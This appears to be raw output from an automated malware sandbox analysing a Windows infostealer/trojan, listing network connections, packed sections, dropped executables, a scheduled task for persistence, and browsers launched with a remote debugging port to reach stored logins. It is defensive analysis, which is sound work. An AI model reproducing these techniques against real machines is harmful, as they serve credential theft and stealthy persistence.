Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:65463 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:65465 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:65468 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:65467 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:65466 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:65469 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:65470 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.189.173.24:443 -> 192.168.2.6:50610 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50632 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50628 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50631 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50630 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50627 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50629 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50626 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50633 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50634 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50636 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50695 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: 54e727f733.exe, 00000021.00000002.3069919071.0000000001062000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_76b9a8e4-7
Source: 54e727f733.exe, 00000021.00000002.3069919071.0000000001062000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_1b7cab16-4

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: DocumentsIJKFHDBKFC.exe.0.dr	Static PE information: section name:
Source: DocumentsIJKFHDBKFC.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsIJKFHDBKFC.exe.0.dr	Static PE information: section name:
Source: skotes.exe.23.dr	Static PE information: section name:
Source: skotes.exe.23.dr	Static PE information: section name: .idata
Source: skotes.exe.23.dr	Static PE information: section name:
Source: random[2].exe.26.dr	Static PE information: section name:
Source: random[2].exe.26.dr	Static PE information: section name: .idata
Source: e4e71e967a.exe.26.dr	Static PE information: section name:
Source: e4e71e967a.exe.26.dr	Static PE information: section name: .idata
Source: random[1].exe.26.dr	Static PE information: section name:
Source: random[1].exe.26.dr	Static PE information: section name: .rsrc
Source: random[1].exe.26.dr	Static PE information: section name: .idata
Source: random[1].exe.26.dr	Static PE information: section name:
Source: c6782cb97e.exe.26.dr	Static PE information: section name:
Source: c6782cb97e.exe.26.dr	Static PE information: section name: .rsrc
Source: c6782cb97e.exe.26.dr	Static PE information: section name: .idata
Source: c6782cb97e.exe.26.dr	Static PE information: section name:
Source: random[1].exe0.26.dr	Static PE information: section name:
Source: random[1].exe0.26.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.26.dr	Static PE information: section name: .idata
Source: random[1].exe0.26.dr	Static PE information: section name:
Source: ea2bf34af0.exe.26.dr	Static PE information: section name:
Source: ea2bf34af0.exe.26.dr	Static PE information: section name: .rsrc
Source: ea2bf34af0.exe.26.dr	Static PE information: section name: .idata
Source: ea2bf34af0.exe.26.dr	Static PE information: section name:
Source: random[2].exe0.26.dr	Static PE information: section name:
Source: random[2].exe0.26.dr	Static PE information: section name: .idata
Source: random[2].exe0.26.dr	Static PE information: section name:
Source: 215a689fd9.exe.26.dr	Static PE information: section name:
Source: 215a689fd9.exe.26.dr	Static PE information: section name: .idata
Source: 215a689fd9.exe.26.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process Stats: CPU usage > 49%
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CAFB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFB8C0 rand_s,NtQueryVirtualMemory,	0_2_6CAFB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6CAFB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CA9F280

Source: C:\Users\user\DocumentsIJKFHDBKFC.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA935A0	0_2_6CA935A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF34A0	0_2_6CAF34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFC4A0	0_2_6CAFC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA6C80	0_2_6CAA6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9D4E0	0_2_6CA9D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD6CF0	0_2_6CAD6CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA64C0	0_2_6CAA64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABD4D0	0_2_6CABD4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0542B	0_2_6CB0542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0AC00	0_2_6CB0AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD5C10	0_2_6CAD5C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE2C10	0_2_6CAE2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA5440	0_2_6CAA5440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0545C	0_2_6CB0545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF85F0	0_2_6CAF85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD0DD0	0_2_6CAD0DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAFD00	0_2_6CAAFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABED10	0_2_6CABED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC0512	0_2_6CAC0512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF4EA0	0_2_6CAF4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFE680	0_2_6CAFE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB5E90	0_2_6CAB5E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB076E3	0_2_6CB076E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9BEF0	0_2_6CA9BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAFEF0	0_2_6CAAFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF9E30	0_2_6CAF9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE5600	0_2_6CAE5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD7E10	0_2_6CAD7E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB06E63	0_2_6CB06E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9C670	0_2_6CA9C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE2E4E	0_2_6CAE2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB4640	0_2_6CAB4640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB9E50	0_2_6CAB9E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD3E50	0_2_6CAD3E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE77A0	0_2_6CAE77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9DFE0	0_2_6CA9DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC6FF0	0_2_6CAC6FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA9F00	0_2_6CAA9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD7710	0_2_6CAD7710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC60A0	0_2_6CAC60A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABC0E0	0_2_6CABC0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD58E0	0_2_6CAD58E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB050C7	0_2_6CB050C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADB820	0_2_6CADB820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE4820	0_2_6CAE4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA7810	0_2_6CAA7810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADF070	0_2_6CADF070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB8850	0_2_6CAB8850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABD850	0_2_6CABD850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9C9A0	0_2_6CA9C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACD9B0	0_2_6CACD9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD5190	0_2_6CAD5190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF2990	0_2_6CAF2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0B170	0_2_6CB0B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAD960	0_2_6CAAD960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEB970	0_2_6CAEB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABA940	0_2_6CABA940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB02AB0	0_2_6CB02AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA922A0	0_2_6CA922A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC4AA0	0_2_6CAC4AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAACAB0	0_2_6CAACAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0BA90	0_2_6CB0BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB1AF0	0_2_6CAB1AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADE2F0	0_2_6CADE2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD8AC0	0_2_6CAD8AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD9A60	0_2_6CAD9A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9F380	0_2_6CA9F380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB053C8	0_2_6CB053C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADD320	0_2_6CADD320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAC370	0_2_6CAAC370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA95340	0_2_6CA95340

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CACCBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CAD94D0 appears 90 times

Source: file.exe, 00000000.00000002.2655251819.000000006CD15000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2620717305.0000000001657000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe
Source: file.exe, 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: owiwlckr ZLIB complexity 0.9949734472569135
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9979191502043597
Source: random[1].exe.0.dr	Static PE information: Section: feznedxr ZLIB complexity 0.9941739038631022
Source: DocumentsIJKFHDBKFC.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9979191502043597
Source: DocumentsIJKFHDBKFC.exe.0.dr	Static PE information: Section: feznedxr ZLIB complexity 0.9941739038631022
Source: skotes.exe.23.dr	Static PE information: Section: ZLIB complexity 0.9979191502043597
Source: skotes.exe.23.dr	Static PE information: Section: feznedxr ZLIB complexity 0.9941739038631022
Source: random[1].exe.26.dr	Static PE information: Section: pibhodpk ZLIB complexity 0.9943627450980392
Source: c6782cb97e.exe.26.dr	Static PE information: Section: pibhodpk ZLIB complexity 0.9943627450980392
Source: random[1].exe0.26.dr	Static PE information: Section: ZLIB complexity 0.9981766712816456
Source: random[1].exe0.26.dr	Static PE information: Section: ozsfgbmb ZLIB complexity 0.9943461246627698
Source: ea2bf34af0.exe.26.dr	Static PE information: Section: ZLIB complexity 0.9981766712816456
Source: ea2bf34af0.exe.26.dr	Static PE information: Section: ozsfgbmb ZLIB complexity 0.9943461246627698
Source: random[2].exe0.26.dr	Static PE information: Section: owiwlckr ZLIB complexity 0.9949734472569135
Source: 215a689fd9.exe.26.dr	Static PE information: Section: owiwlckr ZLIB complexity 0.9949734472569135

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@116/295@120/37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAF7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6CAF7030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\MUY9BNJ4.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8876:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5132:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1584:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6476:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6620:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6892:120:WilError_03

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\ab5a00e3-bff9-4dd2-8a0d-a64c0a79786c.tmp

Jump to behavior

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: file.exe, 00000000.00000002.2640526911.000000001D93C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2654294264.000000006CCCF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2653100403.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: file.exe, 00000000.00000002.2640526911.000000001D93C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2654294264.000000006CCCF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2653100403.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2640526911.000000001D93C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2654294264.000000006CCCF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2653100403.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2640526911.000000001D93C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2654294264.000000006CCCF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2653100403.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: file.exe, 00000000.00000002.2640526911.000000001D93C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2654294264.000000006CCCF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2653100403.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2640526911.000000001D93C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2653100403.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2640526911.000000001D93C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2654294264.000000006CCCF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2653100403.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000003.2425062430.000000001D82D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2338789911.000000001D839000.00000004.00000020.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2938954921.00000000054E4000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2939729145.00000000054B5000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2955735612.00000000054E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2640526911.000000001D93C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2653100403.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: file.exe, 00000000.00000002.2640526911.000000001D93C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2653100403.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: file.exe	ReversingLabs: Detection: 34%
Source: file.exe	Virustotal: Detection: 35%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsIJKFHDBKFC.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2248 --field-trial-handle=2208,i,11112625269450006976,13017943389381454279,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2580 --field-trial-handle=2384,i,5336292706058860815,4067302130778285972,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2324 --field-trial-handle=2288,i,11947060115532650235,7332651882902762647,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6992 --field-trial-handle=2288,i,11947060115532650235,7332651882902762647,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7148 --field-trial-handle=2288,i,11947060115532650235,7332651882902762647,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6824 --field-trial-handle=2288,i,11947060115532650235,7332651882902762647,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6824 --field-trial-handle=2288,i,11947060115532650235,7332651882902762647,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIJKFHDBKFC.exe"
